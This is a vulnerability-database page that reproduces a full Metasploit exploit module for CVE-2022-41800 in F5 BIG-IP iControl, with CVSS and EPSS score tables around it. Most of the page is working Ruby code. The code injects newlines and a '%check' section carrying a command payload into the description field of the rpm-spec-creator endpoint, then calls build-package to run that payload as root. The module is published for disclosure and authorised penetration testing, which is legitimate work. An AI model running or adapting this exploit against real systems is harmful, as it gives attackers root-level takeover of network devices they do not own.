Lucene search

K
metasploitRon BowesMSF:EXPLOIT-LINUX-HTTP-F5_ICONTROL_RPMSPEC_RCE_CVE_2022_41800-
HistoryNov 16, 2022 - 8:04 p.m.

F5 BIG-IP iControl Authenticated RCE via RPM Creator

2022-11-1620:04:18
Ron Bowes
www.rapid7.com
115

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.422 Medium

EPSS

Percentile

97.3%

This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',
        'Description' => %q{
          This module exploits a newline injection into an RPM .rpmspec file
          that permits authenticated users to remotely execute commands.

          Successful exploitation results in remote code execution
          as the root user.
        },
        'Author' => [
          'Ron Bowes' # Discovery, PoC, and module
        ],
        'References' => [
          ['CVE', '2022-41800'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
          ['URL', 'https://support.f5.com/csp/article/K13325942'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-11-16', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [ 'Default', {} ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION], # One at a time
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
        OptString.new('HttpPassword', [true, 'iControl password', ''])
      ]
    )
  end

  def exploit
    # The RPM name is based on these, so we need these to delete the RPM file after
    name = rand_text_alphanumeric(5..10)
    version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
    release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"

    vprint_status('Creating an .rpmspec file on the target...')
    result = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'data' => {
        'specFileData' => {
          'name' => name,
          'srcBasePath' => '/tmp',
          'version' => version,
          'release' => release,
          # This is the injection - add newlines then a '%check' section
          'description' => "\n\n%check\n#{payload.encoded}\n",
          'summary' => rand_text_alphanumeric(5..10)
        }
      }.to_json
    })

    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200

    json = result&.get_json_document
    fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json

    file_path = json['specFilePath']
    fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
    vprint_status("Created spec file: #{file_path}")
    register_file_for_cleanup(file_path)

    # We can also use `exit 1` in the %check function to prevent this file
    # from being created, rather than cleaning it up.. but that seems noisier?
    # Neither option gets logged so /shrug
    register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")

    vprint_status('Building the RPM to trigger the payload...')
    result = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'data' => {
        'state' => {},
        'appName' => rand_text_alphanumeric(5..10),
        'packageDirectory' => '/tmp',
        'specFilePath' => file_path
      }.to_json
    })
    fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
    fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
    fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.422 Medium

EPSS

Percentile

97.3%

Related for MSF:EXPLOIT-LINUX-HTTP-F5_ICONTROL_RPMSPEC_RCE_CVE_2022_41800-